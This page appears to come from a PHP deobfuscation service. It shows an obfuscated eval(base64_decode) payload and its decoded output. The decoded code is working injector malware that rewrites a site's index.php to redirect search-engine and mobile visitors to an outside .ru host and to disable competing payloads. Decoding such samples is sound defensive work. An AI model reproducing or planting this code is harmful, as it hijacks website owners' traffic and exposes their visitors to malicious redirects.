Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(base64_decode('CiR0ZXh0ID0gZmlsZV9nZXRfY29udGVudHMoImluZGV4LnBocCIpOwokbG9sID0gJ2VjaG..
Decoded Output download
$text = file_get_contents("index.php");
$lol = 'echo "<!-- 2 -->";$to = "http://ivsenaidu.ru/?q=";if (preg_match("#(google|bing|msn|ask|aol|mail\.ru|webalta).*[\?\&]q=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[2]));exit();}
if (preg_match("#(altavista|yahoo).*[\?\&]p=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[2]));exit();}
if (preg_match("#yandex.*[\?\&]text=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[1]));exit();}
if (preg_match("#rambler.*[\?\&]query=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[1]));exit();}echo "<!-- 1 -->";$iphone = strpos($_SERVER["HTTP_USER_AGENT"],"iP");$android = strpos($_SERVER["HTTP_USER_AGENT"],"Android");$palmpre = strpos($_SERVER["HTTP_USER_AGENT"],"webOS");$berry = strpos($_SERVER["HTTP_USER_AGENT"],"BlackBerry");if ($iphone || $android || $palmpre || $berry === true){ header("Location: http://ivsenaidu.ru/");exit();}if(!empty($_POST["update"])) exit();';$text = str_replace("<?php", "<?php $lol", $text);$text = str_replace("eval(base64_decode", "exit();(", $text);file_put_contents("index.php", $text);
Did this file decode correctly?
Original Code
eval(base64_decode('CiR0ZXh0ID0gZmlsZV9nZXRfY29udGVudHMoImluZGV4LnBocCIpOwokbG9sID0gJ2VjaG8gIjwhLS0gMiAtLT4iOyR0byA9ICJodHRwOi8vaXZzZW5haWR1LnJ1Lz9xPSI7aWYgKHByZWdfbWF0Y2goIiMoZ29vZ2xlfGJpbmd8bXNufGFza3xhb2x8bWFpbFwucnV8d2Vi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